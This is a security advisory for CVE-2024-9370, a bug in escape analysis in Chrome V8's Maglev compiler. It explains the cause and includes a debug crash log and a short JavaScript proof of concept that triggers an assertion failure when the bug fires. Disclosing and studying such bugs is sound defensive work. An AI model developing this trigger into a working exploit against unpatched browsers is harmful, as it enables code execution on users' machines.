(CVE-2024-9370) Google Chrome V8 Maglev Escape Analysis Incorrect Optimization Bug
CVE: CVE-2024-9370
Affected Versions: Google Chrome prior to stable channel update of October 1, 2024
Summary
| Product | Google Chrome (V8 JavaScript Engine) |
|---|---|
| Vendor | |
| Severity | High |
| Affected Versions | Google Chrome prior to stable channel update of October 1, 2024 |
| CVE Identifier | CVE-2024-9370 |
| CVE Description | An incorrect optimization in V8’s Maglev compiler escape analysis allows a specially crafted HTML page to trigger a CHECK failure, potentially exploitable for arbitrary code execution in the renderer process |
| CWE Classification(s) | CWE-682: Incorrect Calculation |
CVSS3.1 Scoring System
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | None |
| User Interaction (UI) | Required |
| Scope (S) | Unchanged |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
Technical Details
When a class constructor is optimized by V8’s Maglev compiler, several aggressive optimizations may be applied. One such optimization is inlined allocation: the this object can be constructed inline via BuildInlinedAllocation. Using a derived class with a constant new.target forces Maglev to take this path.
During the Escape Analysis phase, all InlinedAllocation nodes are analysed and can be elided — eliminated entirely — if they are not referenced after the point of allocation. The this object is a candidate for elision in this way. Returning a primitive value (return 1) from the constructor removes all uses of this, causing Maglev to elide it.
The bug arises when Error() is called within the same constructor. The Error() constructor traverses the stack frame looking for context. If it encounters a receiver object (this) that has already been elided by escape analysis, the runtime hits a CHECK assertion in frames.cc:
Check failed: !translated_values->IsMaterializedObject()
This CHECK failure represents a violation of the compiler’s invariants — the runtime encounters a materialized object at a point where escape analysis has guaranteed none should exist. In a release build, such invariant violations are exploitable to achieve memory corruption in the renderer process.
Crash Log
#
# Fatal error in ../../src/execution/frames.cc, line 2806
# Check failed: !translated_values->IsMaterializedObject().
#
#FailureMessage Object: 0x7fff0d5ab688
==== C stack trace ===============================
./v8/out/debug/d8(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x64a72564ccee]
./v8/out/debug/d8(+0xb54d57d) [0x64a72564757d]
./v8/out/debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x64a725621c75]
./v8/out/debug/d8(v8::internal::OptimizedFrame::Summarize(...) const+0x6bb) [0x64a7210611fb]
./v8/out/debug/d8(+0x6fb57de) [0x64a7210af7de]
./v8/out/debug/d8(+0x6f868c4) [0x64a7210808c4]
./v8/out/debug/d8(v8::internal::Isolate::CaptureAndSetErrorStack(...)+0x1e5) [0x64a7210801f5]
./v8/out/debug/d8(v8::internal::ErrorUtils::Construct(...)+0x7fc) [0x64a7210eb3bc]
./v8/out/debug/d8(v8::internal::ErrorUtils::Construct(...)+0xc4) [0x64a7210eaba4]
./v8/out/debug/d8(+0x6b4292d) [0x64a720c3c92d]
./v8/out/debug/d8(v8::internal::Builtin_ErrorConstructor(int, unsigned long*, v8::internal::Isolate*)+0xfb) [0x64a720c3c5cb]
./v8/out/debug/d8(+0xacd06fd) [0x64a724dca6fd]
Proof of Concept
class A {}
class B extends A {
constructor() {
glb = new.target; // -> new.target is constant, enabling inlined allocation
super(); // -> triggers BuildInlinedAllocation for `this`
Error(); // -> traverses stack, encounters elided receiver
return 1; // -> removes all uses of `this`, causing elision
}
}
var glb = B;
%PrepareFunctionForOptimization(B);
try {
new B();
} catch (e) {
%DebugPrint(e);
} // use try-catch to suppress TypeError on first run
%OptimizeMaglevOnNextCall(B);
new B(); // triggers bug under Maglev optimisation
Fix
The vulnerability was patched in the Chrome Stable Channel Update — October 1, 2024.
Credit
Nguyễn Hoàng Thạch, Đỗ Minh Tuấn and Wu JinLin of STAR Labs SG Pte. Ltd.
Timeline
- 2024-09-19 — Reported to Google Chrome Security Team
- 2024-10-01 — Patch released in Chrome Stable Channel Update — October 2024